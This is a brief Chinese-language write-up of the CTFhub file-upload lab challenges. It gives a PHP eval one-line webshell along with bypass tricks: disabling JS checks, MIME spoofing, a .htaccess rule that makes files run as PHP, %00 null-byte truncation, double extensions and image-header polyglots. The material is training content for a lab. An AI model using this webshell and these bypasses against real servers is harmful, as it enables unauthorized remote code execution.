CTFhub-文件上传攻略
CTFhub地址 https://www.ctfhub.com/#/index
一句话木马 <?php @eval($_POST['123']); ?>
文件上传-无验证
没有对上传文件做任何检验,直接上传php文件
文件上传-前端验证
在文件上传之前,前端js代码会对文件后缀进行一次验证
方法一:置禁用js代码,然后上传webshell
火狐 ——》about:config首选项——》关闭JavaScript
方法二: 抓包,改文件后缀。
文件上传-.htaccess
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下 的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
<FilesMatch "3">
SetHandler application/x-httpd-php
</FilesMatch> (.htaccess文件内容)
把名字 含3的文件用php解析。
文件上传-MIME绕过
如果是白名单所允许的,则可以正常上传,否则上传失败
1.截取上传数据包,修改 Content- - Type,然后 forward上传
2.将shell.php文件重命名为shell.jpg/png/gif
抓包,改包,将文件名修改为原来的shell.php
文件上传-00截断
%00,0x00,/00都属于00截断,利用的是服务器的解析漏洞(ascii中0表示字符串结束),所以读取字符串到00就会停止,认为已经结束
上传抓包改包
POST /?road=/var/www/html/upload/shell.php%00 HTTP/1.1
文件上传-双写后缀
Shell.php——》shell.pphphp
文件上传-文件头检查
上传png 图像通过
1.抓包,改包—》改后缀为php->删除其内容只保留文件头(�PNG)->在加上一句话木马
2. copy 000.png/b+shell.php/a 123.png 一句话图片 抓包改为123.php